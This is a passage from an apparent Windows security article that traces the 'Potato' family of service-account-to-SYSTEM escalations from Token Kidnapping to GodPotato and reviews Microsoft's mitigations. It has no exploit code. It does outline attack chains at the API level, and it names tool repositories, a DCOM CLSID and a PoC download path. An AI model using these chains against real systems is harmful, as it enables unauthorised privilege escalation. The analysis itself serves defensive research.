&lt;p&gt;Cerrudo&apos;s HITB Dubai 2008 paper, &lt;em&gt;Token Kidnapping&lt;/em&gt;, named the privilege and named the technique [@cerrudo-2008-pdf]. The chain ran inside an MSSQL or IIS process and looked like this: enumerate processes the service account could open; find a thread that was already impersonating a higher-privileged token (typically leaked by some service-startup path); &lt;code&gt;DuplicateTokenEx&lt;/code&gt; that token; &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt; to spawn &lt;code&gt;cmd.exe&lt;/code&gt; under the new identity. Two years later, at DEF CON 18, Cerrudo presented &lt;em&gt;Token Kidnapping&apos;s Revenge&lt;/em&gt; with fresh examples and a community-canonical title for the technique [@cerrudo-2010-defcon].&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s response was MS09-012 in April 2009 (community-known as the &lt;em&gt;Chimichurri&lt;/em&gt; fix, after Cesar Cerrudo&apos;s PoC of the same name shipped by Argeniss alongside the disclosure [@webarchive-argeniss-chimichurri; @forshaw-2020-01-empirical-wsh]). The MSRC blog post announcing the bulletin is unusually clear about what it closed and what it deliberately did not:&lt;/p&gt;

An attacker can escalate their privileges on a system if they can control the SeImpersonatePrivilege token. An attacker would need to be executing code in the context of a Windows service to use this exploit. -- MSRC blog, April 14, 2009 [@msrc-blog-2009-04-token-kidnapping]
&lt;p&gt;The MSRC text continues: &quot;the first update addresses service isolation, while the second addresses processes running as service accounts&quot; [@msrc-blog-2009-04-token-kidnapping]. &lt;em&gt;Service isolation&lt;/em&gt;, not the privilege itself. The bulletin closed the specific handle-leak surface Cerrudo had used -- it did not revoke &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; from NETWORK SERVICE, did not modify &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt;, did not modify &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;. The MSRC acknowledged on the record that the privilege was sufficient for the escalation and elected to fix the &lt;em&gt;symptom&lt;/em&gt; (the leak surface), not the &lt;em&gt;gate&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This is the supersession pattern that every subsequent generation follows: Microsoft patches the current token source; the next generation finds a new one within months.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Chimichurri&lt;/em&gt; (sometimes &lt;code&gt;Chimichurri.exe&lt;/code&gt;) is not a Microsoft codename. It is the name Cesar Cerrudo gave to the PoC exploit Argeniss released alongside the MS09-012 bulletin, hosted at the time at &lt;code&gt;argeniss.com/research/Chimichurri_CesarCerrudo.zip&lt;/code&gt; and preserved in the Internet Archive [@webarchive-argeniss-chimichurri]. Microsoft&apos;s own naming for the bulletin is simply MS09-012 / KB959454. Offensive-research convention has used &quot;Chimichurri&quot; as shorthand for the Cerrudo PoC ever since -- never for a Microsoft internal codename. Forshaw&apos;s January 2020 service-hardening retrospective references the same Cerrudo / Argeniss lineage [@forshaw-2020-01-empirical-wsh].&lt;/p&gt;
&lt;p&gt;Cerrudo presented the 2008 paper under his Argeniss affiliation and the 2010 DEF CON talk under IOActive [@cerrudo-2008-pdf; @cerrudo-2010-defcon]. The affiliation change occasionally trips up archival cross-referencing -- the work is the same lineage.&lt;/p&gt;
&lt;h3&gt;4.2 Generation 2, local NTLM cross-protocol reflection (2014-2016)&lt;/h3&gt;
&lt;p&gt;In December 2014, James Forshaw filed Project Zero Issue 222 -- a WebDAV-to-SMB local NTLM reflection that turned the Windows authentication redirector into a self-service token source. Stephen Breen&apos;s &lt;em&gt;HotPotato&lt;/em&gt; (January 16, 2016) used a related local-NTLM-relay primitive to deliver the first end-to-end service-account-to-SYSTEM chain that did not depend on finding a leaked token handle [@breen-2016-hot-potato]. Breen credits the genealogy openly: &quot;If this sounds vaguely familiar, it&apos;s because a similar technique was disclosed by the guys at Google Project Zero . . . In fact, some of our code was shamelessly borrowed from their PoC and expanded upon&quot; [@breen-2016-hot-potato].&lt;/p&gt;
&lt;p&gt;The conceptual leap is the one every subsequent generation depends on. Cerrudo&apos;s G1 had to &lt;em&gt;find&lt;/em&gt; a high-privileged token leaked into the local process tree; Breen&apos;s G2 &lt;em&gt;makes the system hand you one&lt;/em&gt; by coercing it to authenticate. The system itself becomes the token source. Forshaw articulated this generalisation explicitly in the 2021 Project Zero retrospective on the entire lineage [@forshaw-2021-10-relaying-dcom-pz].&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s response was MS16-075 (the SMB-side fix) and a handful of WPAD-hardening rollups. The chain became fragile and stopped being pushbutton -- but, again, none of these changes touched &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; or &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;4.3 Generation 3, local DCOM activation (2016-2018)&lt;/h3&gt;
&lt;p&gt;Within months of HotPotato, the community converged on a more reliable coercion primitive: a forged DCOM &lt;code&gt;OBJREF&lt;/code&gt; marshalled with an attacker-chosen OXID resolver. The trick induces a SYSTEM-context COM server to authenticate to a named pipe the attacker controls. Forshaw had reported the underlying primitive at Project Zero in 2015 as Issue 325, fixed as CVE-2015-2370 [@nvd-cve-2015-2370], but as his 2021 retrospective notes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The technique to locally relay authentication for DCOM was something I originally reported back in 2015 (issue 325). This issue was fixed as CVE-2015-2370, however the underlying authentication relay using DCOM remained. This was repurposed and expanded upon by various others for local and remote privilege escalation in the RottenPotato series of exploits, the latest in that line being RemotePotato which is currently unpatched as of October 2021.&quot; [@forshaw-2021-10-relaying-dcom-pz]&lt;/p&gt;
&lt;/blockquote&gt;

The DCOM service that maps an OXID (Object Exporter Identifier) to the RPC binding string a client uses to call methods on a marshalled COM object. The &quot;Rotten&quot; and &quot;Juicy&quot; Potato families forge `OBJREF` marshalled blobs in which the OXID resolver field points back at an attacker-controlled endpoint, causing the SYSTEM-context RPCSS to authenticate to the attacker&apos;s pipe when it tries to resolve the OXID.
&lt;p&gt;RottenPotato (September 26, 2016) demonstrated the chain [@foxglove-2016-09-rotten-potato]; JuicyPotato (July 2018) industrialised it with a configurable CLSID table and reliable pipe handling. The canonical mirror for the JuicyPotato repository is the &lt;code&gt;ohpe/juicy-potato&lt;/code&gt; GitHub project [@ohpe-juicy-potato-repo]. Crucially, the load-bearing API was still &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; -- the DCOM trick is just the &lt;em&gt;vehicle&lt;/em&gt; that delivers a SYSTEM-context authentication to the attacker&apos;s pipe.&lt;/p&gt;
&lt;h3&gt;4.4 Generation 4, coercion APIs beyond DCOM (2020-2024)&lt;/h3&gt;
&lt;p&gt;Clement Labro (itm4n) shipped PrintSpoofer on April 28, 2020 [@labro-2020-printspoofer-post; @itm4n-printspoofer-repo]. The coercion primitive was MS-RPRN&apos;s &lt;code&gt;RpcRemoteFindFirstPrinterChangeNotificationEx&lt;/code&gt; -- an RPC method on the Print Spooler that takes an attacker-supplied UNC-like notification target and authenticates to it under the Spooler&apos;s SYSTEM identity. PrintSpoofer needed neither DCOM nor any leaked handle; the coercion primitive lived inside a always-running Windows service.&lt;/p&gt;
&lt;p&gt;PrintSpoofer generalised. Researchers quickly mapped a family of Windows RPC interfaces with the same shape -- an RPC method that takes an attacker-supplied path and resolves it server-side under a privileged identity. MS-EFSR (the Encrypting File System remote protocol) gave EfsPotato and SharpEfsPotato -- the canonical fork is &lt;code&gt;bugch3ck/SharpEfsPotato&lt;/code&gt; [@bugch3ck-sharpefspotato-repo], not the &lt;code&gt;ly4k&lt;/code&gt; mirror. MS-FSRVP, MS-DFSNM, and a long tail followed. CoercedPotato&apos;s &lt;code&gt;--interface {ms-rprn, ms-efsr}&lt;/code&gt; switch operationalises the enumeration in a single tool [@prepouce-coercedpotato-repo]; the project&apos;s MS-EFSR catalogue alone lists fourteen entry points (indices 0-13, with two marked NOT WORKING).&lt;/p&gt;
&lt;p&gt;The pattern is clear at this point: the privilege is the constant; the coercion primitive is interchangeable. Microsoft has shipped per-CVE patches for individual coercion APIs (the &lt;a href=&quot;https://paragmali.com/blog/three-years-of-printnightmare-how-the-oldest-windows-service/&quot; rel=&quot;noopener&quot;&gt;PrintNightmare cluster&lt;/a&gt; around MS-RPRN, anchored by CVE-2021-34527 [@nvd-cve-2021-34527]; targeted MS-EFSR fixes), but no commitment to enumerate or class-close the surface.&lt;/p&gt;
&lt;h3&gt;4.5 Generation 5, into RPCSS itself (2022-2024)&lt;/h3&gt;
&lt;p&gt;In December 2022, the researcher who goes by BeichenDream published GodPotato, with a README that names the structural defect plainly:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have &lt;code&gt;ImpersonatePrivilege&lt;/code&gt; permission. Then you are &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; . . . There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system.&quot; [@beichendream-godpotato-readme]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;GodPotato survives every phase of CVE-2021-26414 (the three-phase DCOM hardening, rolled out 2021-06-08, 2022-06-14, 2023-03-14) [@nvd-cve-2021-26414] because the defect is in RPCSS&apos;s OXID &lt;em&gt;handling&lt;/em&gt;, not in DCOM &lt;em&gt;activation&lt;/em&gt;. The other structural half of the defect is documented by Forshaw in April 2020: &quot;When LSASS creates a Token for a new Logon session it stores that Token for later retrieval . . . in this case it does matter as it means that the negotiated Token on the server, which is the same machine, will actually be the session&apos;s Token, not the caller&apos;s Token&quot; [@forshaw-2020-04-sharing-logon-session]. Together those two structural properties keep GodPotato functional across the README&apos;s tested matrix -- Server 2012 through Server 2022, Windows 8 through Windows 11 -- and no public Microsoft patch has been issued for the underlying defect through mid-2026 [@beichendream-godpotato-readme].&lt;/p&gt;
&lt;p&gt;LocalPotato (February 2023) is the parallel branch: Antonio Cocomazzi and Andrea Pierini discovered that the NTLM Type-2 &quot;Reserved&quot; field could be used to swap context handles during local authentication, escalating from an &lt;em&gt;unprivileged&lt;/em&gt; user -- the first variant in the lineage that does not require &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; to start [@cocomazzi-pierini-2023-localpotato-post]. Microsoft fixed it as CVE-2023-21746 [@nvd-cve-2023-21746], but the conceptual proof remains: the local NTLM stack itself is an attacker-controllable token source.&lt;/p&gt;
&lt;p&gt;SilverPotato (April 24, 2024) extended the family across hosts [@pierini-2024-silverpotato-post]. Members of the Distributed COM Users or Performance Log Users groups trigger remote activation of the &lt;code&gt;sppui&lt;/code&gt; DCOM application (CLSID &lt;code&gt;{F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;/code&gt;) on a target server. The coerced Domain Admin authentication is then chained through SMB relay to the &lt;a href=&quot;https://paragmali.com/blog/certified-pre-owned-ad-cs-and-active-directorys-second-trust/&quot; rel=&quot;noopener&quot;&gt;ADCS host&lt;/a&gt;, SAM dump, &lt;a href=&quot;https://paragmali.com/blog/pass-the-hash-to-pass-the-prt-twenty-nine-years-of-windows-c/&quot; rel=&quot;noopener&quot;&gt;Pass-the-Hash&lt;/a&gt;, CA private key extraction, and ForgeCert to mint a Domain Admin certificate. Microsoft fixed SilverPotato as CVE-2024-38061 in the July 2024 Patch Tuesday [@nvd-cve-2024-38061]; the original researcher&apos;s credit was subsequently removed after a second-reporter overlap and an MSRC severity re-grading from &lt;em&gt;moderate&lt;/em&gt; to &lt;em&gt;important&lt;/em&gt; [@pierini-2024-silverpotato-post]. The structural primitive the chain exploits -- DCOM cross-session activation gated on Distributed COM Users / Performance Log Users group membership chained into a cross-host NTLM relay -- remains a per-CVE rather than a class-level close.&lt;/p&gt;
&lt;p&gt;FakePotato (CVE-2024-38100, July 2024 KB5040434) closed the ShellWindows DCOM activation path that Pierini disclosed; the patch shipped about a month &lt;em&gt;before&lt;/em&gt; the public disclosure [@nvd-cve-2024-38100; @pierini-2024-fakepotato-post].&lt;/p&gt;

James Forshaw&apos;s writing is, by some margin, the single most-cited body on the impersonation primitive in the offensive-research community. Four single-author primaries underpin most of this article: *The Art of Becoming TrustedInstaller* (2017-08) on Service-SID derivation [@forshaw-2017-08-trustedinstaller]; *Empirically Assessing Windows Service Hardening* (2020-01), the canonical empirical assessment of what the WSH stack actually closes and what it does not [@forshaw-2020-01-empirical-wsh]; *Sharing a Logon Session a Little Too Much* (2020-04), which documents the LSASS cached-token defect that GodPotato later weaponised [@forshaw-2020-04-sharing-logon-session]; and *Windows Exploitation Tricks: Relaying DCOM Authentication* (2021-10), the Project Zero retrospective that names the genealogy from Issue 325 to RemotePotato [@forshaw-2021-10-relaying-dcom-pz]. Forshaw&apos;s 2020-01 opening sentence is the line every defender quotes back: &quot;In the past few years there&apos;s been numerous exploits for service to system privilege escalation. Primarily they revolve around the fact that system services typically have impersonation privilege&quot; [@forshaw-2020-01-empirical-wsh].

flowchart TD
    G1[&quot;G1, 2008-2010, Cerrudo Token Kidnapping, leaked impersonation handles&quot;]
    G2[&quot;G2, 2014-2016, HotPotato, local NTLM WPAD reflection&quot;]
    G3[&quot;G3, 2016-2018, RottenPotato, JuicyPotato, DCOM OXID activation&quot;]
    G4[&quot;G4, 2020-2024, PrintSpoofer, CoercedPotato, non-DCOM RPC coercion&quot;]
    G5[&quot;G5, 2022-2024, GodPotato, LocalPotato, SilverPotato, RPCSS OXID and NTLM-loopback defects&quot;]
    Constant[&quot;SeImpersonatePrivilege plus ImpersonateNamedPipeClient, unchanged 2003 through 2026&quot;]
    G1 -- &quot;MS09-012, Cerrudo Chimichurri PoC&quot; --&amp;gt; G2
    G2 -- &quot;MS16-075 plus WPAD hardening&quot; --&amp;gt; G3
    G3 -- &quot;Win10 1809 OXID hardening, then CVE-2021-26414 three phases&quot; --&amp;gt; G4
    G4 -- &quot;Per-CVE coercion-API patches, PrintNightmare cluster&quot; --&amp;gt; G5
    G5 -- &quot;GodPotato unpatched, SilverPotato patched CVE-2024-38061, LocalPotato patched CVE-2023-21746, FakePotato patched CVE-2024-38100&quot; --&amp;gt; Open[&quot;Mid-2026 state, still functional via GodPotato and the coercion-API long tail&quot;]
    G1 --- Constant
    G2 --- Constant
    G3 --- Constant
    G4 --- Constant
    G5 --- Constant
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Generation&lt;/th&gt;
&lt;th&gt;Years&lt;/th&gt;
&lt;th&gt;Token source&lt;/th&gt;
&lt;th&gt;Microsoft response&lt;/th&gt;
&lt;th&gt;Still works in 2026?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;G1 Direct Token Theft (Cerrudo)&lt;/td&gt;
&lt;td&gt;2008-2010&lt;/td&gt;
&lt;td&gt;Leaked impersonation handles&lt;/td&gt;
&lt;td&gt;MS09-012 (Cerrudo &lt;em&gt;Chimichurri&lt;/em&gt; PoC)&lt;/td&gt;
&lt;td&gt;No (handle leaks closed)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G2 Local NTLM Reflection (HotPotato)&lt;/td&gt;
&lt;td&gt;2014-2016&lt;/td&gt;
&lt;td&gt;WPAD + HTTP-to-SMB reflection&lt;/td&gt;
&lt;td&gt;MS16-075 + WPAD hardening&lt;/td&gt;
&lt;td&gt;No (chain too fragile)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G3 DCOM Activation (Rotten/Juicy)&lt;/td&gt;
&lt;td&gt;2016-2018&lt;/td&gt;
&lt;td&gt;Coerced DCOM auth to attacker pipe&lt;/td&gt;
&lt;td&gt;Win10 1809 OXID + CVE-2021-26414&lt;/td&gt;
&lt;td&gt;Partial (some LTSC pins)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G4 Non-DCOM RPC Coercion (PrintSpoofer/Coerced)&lt;/td&gt;
&lt;td&gt;2020-2024&lt;/td&gt;
&lt;td&gt;MS-RPRN / MS-EFSR / MS-FSRVP coercion&lt;/td&gt;
&lt;td&gt;Per-CVE patches&lt;/td&gt;
&lt;td&gt;Yes (long tail)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;G5 RPCSS OXID + NTLM-Loopback (GodPotato/Local/Silver)&lt;/td&gt;
&lt;td&gt;2022-2024&lt;/td&gt;
&lt;td&gt;RPCSS handling defect + cross-host NTLM relay&lt;/td&gt;
&lt;td&gt;None for GodPotato; CVE-2023-21746 for LocalPotato; CVE-2024-38061 for SilverPotato (July 2024)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Yes&lt;/strong&gt; (GodPotato unaddressed)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

Microsoft&apos;s umbrella term for the post-2003 stack of mitigations around the service-account population: Service SIDs, restricted tokens, write-restricted tokens, integrity levels for services, the SCM&apos;s per-service required-privileges list, and the LPAC variants for select Windows components. The hardening is real, but as section 7 establishes, Microsoft has elected not to treat WSH as a *security* boundary.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Eighteen years. Five generations. One privilege. The variable is the token source; the constant is the gate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each generation tells a story of an MSRC bulletin that closed a specific token source and a researcher who found a new one within months. But every generation also leaves the same three components in place: the privilege, the named-pipe coercion API, and Microsoft&apos;s choice not to close the family at its root. What if those three components, taken together, form a closed system?&lt;/p&gt;
&lt;h2&gt;5. The Three-Piece Theorem&lt;/h2&gt;
&lt;p&gt;The Potato lineage is not a collection of bugs. It is the consequence of a single architectural identity:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; + &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; + the MSRC servicing-criteria carve-out = service-account-to-SYSTEM.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Each summand is individually documented. Each is individually shipped by Microsoft. Each is individually justified by a real engineering or product requirement. &lt;em&gt;Together they form a closed system that no point fix can break, because removing any one of them breaks a documented Windows behaviour shipped applications depend on.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;This is the article&apos;s main contribution: re-frame the eighteen-year named-exploit lineage as the consequence of a documented three-piece architectural decision rather than as a series of bugs.&lt;/p&gt;
&lt;h3&gt;Component 1: the privilege&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is enumerated in the privilege-constants table as &lt;code&gt;SE_IMPERSONATE_NAME&lt;/code&gt; [@ms-learn-privilege-constants] and is the subject of a dedicated security-policy page that lists default assignments [@ms-learn-impersonate-policy]. The LOCAL SERVICE and NETWORK SERVICE account documentation each enumerate it as &lt;code&gt;(enabled)&lt;/code&gt; in the default privilege set [@ms-learn-localservice; @ms-learn-networkservice].&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cost of removal:&lt;/em&gt; every shipping RPC server that impersonates clients breaks; §7.1 walks through the production-Windows surface this affects in detail.&lt;/p&gt;
&lt;h3&gt;Component 2: the coercion API&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; has shipped since Windows XP / Server 2003 [@ms-learn-impersonatenamedpipeclient]. It is the standard mechanism by which a Win32 RPC server picks up the identity of a connecting client to make per-user access checks. Deprecating it is not a question of swapping one API for another -- the Microsoft-recommended impersonation APIs (&lt;code&gt;RpcImpersonateClient&lt;/code&gt;, the LSA-side variants) ultimately compose into the same kernel-side token-substitution call.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cost of removal:&lt;/em&gt; the named-pipe RPC server population that pre-dates the modern impersonation APIs breaks; §7.3 details the SMB-redirector, Print-Spooler, EFS-RPC, and broader Win32 ABI migration cost.&lt;/p&gt;
&lt;h3&gt;Component 3: the carve-out&lt;/h3&gt;

Microsoft&apos;s public policy document defining what counts as a security boundary, a security feature, and a defence-in-depth feature for servicing purposes. The two-question test is direct: &quot;Does the vulnerability violate the goal or intent of a security boundary or a security feature? Does the severity of the vulnerability meet the bar for servicing?&quot; If either answer is no, &quot;the vulnerability will be considered for the next version or release of Windows but will not be addressed through a security update or guidance&quot; [@msrc-windows-security-servicing-criteria].
&lt;p&gt;The &lt;a href=&quot;https://paragmali.com/blog/windows-security-boundaries-the-document-that-decides-what-g/&quot; rel=&quot;noopener&quot;&gt;MSRC Windows Security Servicing Criteria&lt;/a&gt; document [@msrc-windows-security-servicing-criteria] is the policy-level anchor. The operational articulation came at Troopers 24 from Pierini and Cocomazzi, who named the doctrine in three sentences anchored on the WSH-as-safety-not-security distinction [@pierini-cocomazzi-troopers24-talk]. §7 opens with the full quote and walks through its implications; for the three-piece theorem here, what matters is that the carve-out is &lt;em&gt;documented&lt;/em&gt; and &lt;em&gt;Microsoft-position-as-stated&lt;/em&gt;, not inferred from per-CVE behaviour.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cost of removal:&lt;/em&gt; Microsoft commits to the per-CVE cadence becoming a structural-close cadence -- servicing every coercion API in the long tail, every NTLM-loopback edge case, every cross-session token confusion, on the same SLAs as kernel RCEs. The MSRC has explicitly declined to take on that workload [@msrc-windows-security-servicing-criteria].&lt;/p&gt;

&quot;if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM&quot; -- Andrea Pierini; &quot;a deliberately provocative shortcut obviously, but it&apos;s not far from the truth&quot; -- Clement Labro&apos;s gloss on the same line [@labro-2020-printspoofer-post]

flowchart TB
    Priv[&quot;SeImpersonatePrivilege, default-assigned to LOCAL SERVICE and NETWORK SERVICE.  Removing this breaks every service that impersonates clients.&quot;]
    API[&quot;ImpersonateNamedPipeClient, shipped since XP/Server 2003.  Removing this breaks every named-pipe RPC server.&quot;]
    Doctrine[&quot;MSRC servicing criteria: WSH is a safety boundary, not a security boundary.  Changing this commits Microsoft to a structural-close servicing cadence.&quot;]
    Center[&quot;Service-account to SYSTEM&quot;]
    Priv --&amp;gt; Center
    API --&amp;gt; Center
    Doctrine --&amp;gt; Center
&lt;p&gt;The original focus paragraph that seeded this article mentioned &quot;RBAC for services&quot; as one of Microsoft&apos;s mitigations. The Stage 0a focus-premise audit found this phrase to be non-standard Windows terminology and explicitly retracted it; Microsoft has never shipped a Windows-side RBAC architecture for services. Azure RBAC and Microsoft Entra RBAC are cloud-side authorisation systems and do not gate the local &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; at all. Section 6.6 returns to this retraction in full.&lt;/p&gt;
&lt;p&gt;If the primitive is a closed three-piece system, what has Microsoft actually shipped in the eighteen years since Cerrudo? Five containment mitigations -- each of which narrows the surface around the primitive without closing it.&lt;/p&gt;
&lt;h2&gt;6. Five Mitigations and the Surface None of Them Closes&lt;/h2&gt;
&lt;p&gt;Microsoft has not been idle. Over nineteen years of service hardening they have shipped Service SIDs, restricted tokens, the Less-Privileged AppContainer model, group Managed Service Accounts, and the three-phase DCOM hardening of CVE-2021-26414. Each closes a real surface. None of them closes the primitive. The pattern is too consistent to be accidental.&lt;/p&gt;
&lt;h3&gt;6.1 Service SID isolation (Vista, 2007)&lt;/h3&gt;
&lt;p&gt;Vista shipped per-service SIDs of the form &lt;code&gt;NT SERVICE\&amp;lt;name&amp;gt;&lt;/code&gt; -- a SID generated on the fly from the service&apos;s name and attached to the service-process token. Forshaw&apos;s &lt;em&gt;The Art of Becoming TrustedInstaller&lt;/em&gt; is the canonical reference for the derivation: &quot;The SID itself is generated on the fly as the SHA1 hash of the uppercase version of the service name&quot; [@forshaw-2017-08-trustedinstaller]. Service SIDs are also documented as part of the SCM service-security model [@ms-learn-service-security].&lt;/p&gt;

A SID of the form `NT SERVICE\` derived as the SHA1 hash of the uppercased service name. Service SIDs let an ACL grant access to a specific service without granting access to every service running under the same account. When `SERVICE_SID_TYPE_UNRESTRICTED` is configured, the Service SID is added to the service-process token as a regular group SID.
&lt;p&gt;&lt;em&gt;Closes:&lt;/em&gt; lateral movement between services sharing an account. A NETWORK SERVICE process for service A cannot, by Service SID alone, open files ACL&apos;d to NETWORK SERVICE for service B.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Does NOT close:&lt;/em&gt; vertical movement to SYSTEM via NETWORK SERVICE. Forshaw&apos;s April 2020 &lt;em&gt;Sharing a Logon Session a Little Too Much&lt;/em&gt; documents the LSASS cached-token defect that underpins GodPotato: even with Service SIDs in place, the local logon session that LSASS retrieves for a same-machine authentication is the &lt;em&gt;session&apos;s&lt;/em&gt; token, not the &lt;em&gt;caller&apos;s&lt;/em&gt; token, which is exactly the structural property GodPotato weaponises [@forshaw-2020-04-sharing-logon-session].&lt;/p&gt;
&lt;h3&gt;6.2 Restricted and write-restricted service tokens (Vista 2007, backport via MS09-012)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SERVICE_SID_TYPE_RESTRICTED&lt;/code&gt; and &lt;code&gt;WRITE_RESTRICTED&lt;/code&gt; are SCM configuration values that wrap the service-process token in a restricting-SID set; the kernel performs every access check twice (once against the regular group SIDs, once against the restricting set) and grants only the intersection. Forshaw&apos;s January 2020 empirical assessment is the canonical study of what these settings actually accomplish: &quot;In the past few years there&apos;s been numerous exploits for service to system privilege escalation. Primarily they revolve around the fact that system services typically have impersonation privilege&quot; [@forshaw-2020-01-empirical-wsh].&lt;/p&gt;

A token marked with a *restricting SID* set in addition to its regular group SIDs. The kernel grants access only when both sets satisfy the ACL. Configured per-service via `SERVICE_SID_TYPE_RESTRICTED` (or `WRITE_RESTRICTED`, which restricts only write access). The intent is to prevent a compromised service from touching arbitrary objects outside an explicit allow-list of restricting SIDs.
&lt;p&gt;&lt;em&gt;Closes:&lt;/em&gt; the compromised service&apos;s ability to write to (or read, depending on configuration) arbitrary objects outside its restricting-SID set.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Does NOT close:&lt;/em&gt; &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is not revoked. A restricted token can still call &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; and &lt;code&gt;CreateProcessWithTokenW&lt;/code&gt;. The privilege gate is orthogonal to the restricting-SID gate.&lt;/p&gt;
&lt;h3&gt;6.3 LPAC (Less-Privileged AppContainer) for select services (Windows 10+)&lt;/h3&gt;
&lt;p&gt;Some Microsoft components opt into the AppContainer model with the Less-Privileged variant: the Edge browser broker, certain Defender child processes, parts of the DNS Client and Web Account Manager stacks. Inside an LPAC, the process runs with a deny-all token capabilities profile and must declare every Win32 capability it intends to use. The sibling &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer and LowBox Tokens&lt;/a&gt; article (2026-05-12) covers the model in depth.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Closes:&lt;/em&gt; the attack surface of a few specific Microsoft-shipped contained services.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Does NOT close:&lt;/em&gt; the LOCAL SERVICE and NETWORK SERVICE population this article is about is &lt;strong&gt;not&lt;/strong&gt; LPAC-contained by default. Declaring an LPAC service requires rewriting the service to operate inside an AppContainer, which most product teams do not undertake.&lt;/p&gt;

Building an LPAC service is not a configuration flag; it is an architectural commitment. The service must declare every Win32 capability it uses, must be packaged through the modern app installer pipeline, and must accept the deny-by-default file-system view that the LPAC sandbox enforces. The cost is real for legacy code -- file paths and registry keys the service has historically reached without scrutiny become inaccessible, and IPC patterns that assumed a normal token need to be re-engineered through capability-mediated brokers. Even Microsoft uses LPAC narrowly. Third-party adoption among independent software vendors that ship NETWORK SERVICE workloads is essentially nil. The mitigation that *would* containerise the impersonation surface is technically available; in practice almost nobody uses it.
&lt;h3&gt;6.4 group Managed Service Accounts (gMSA, Server 2012+)&lt;/h3&gt;
&lt;p&gt;gMSA is Microsoft&apos;s solution to the credential-hygiene problem for service accounts: a domain-managed identity whose 240-byte password is rotated automatically by the KDS Root Key, retrieved by authorised hosts via Group Policy, and never typed by a human [@ms-learn-gmsa-overview].&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Closes:&lt;/em&gt; domain-credential exposure for service accounts. A service no longer has a memorable password an admin will reuse; the credential lives in AD and is rotated on a schedule.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Does NOT close:&lt;/em&gt; anything to do with &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; on the local box. gMSA is a credential-hygiene mitigation, not a privilege-escape mitigation. A service running under a gMSA still holds the same default service-account privileges, and the SilverPotato-class cross-host coerce-and-relay flow [@pierini-2024-silverpotato-post; @nvd-cve-2024-38061] directly exploits a chain that gMSA does not protect against (per-variant patches like CVE-2024-38061 close instances, not the class).&lt;/p&gt;
&lt;h3&gt;6.5 CVE-2021-26414 three-phase DCOM hardening&lt;/h3&gt;
&lt;p&gt;CVE-2021-26414 raised the minimum DCOM client authentication level to &lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt;. The rollout was deliberately gradual: phase 1 (2021-06-08) opt-in via registry, phase 2 (2022-06-14) opt-out via registry, phase 3 (2023-03-14) enforced with no opt-out [@nvd-cve-2021-26414].&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Closes:&lt;/em&gt; the original RottenPotato and JuicyPotato OBJREF-with-attacker-OXID chain on phase-3-enforced builds. The DCOM activation surface those variants depended on is meaningfully harder after phase 3.&lt;/p&gt;
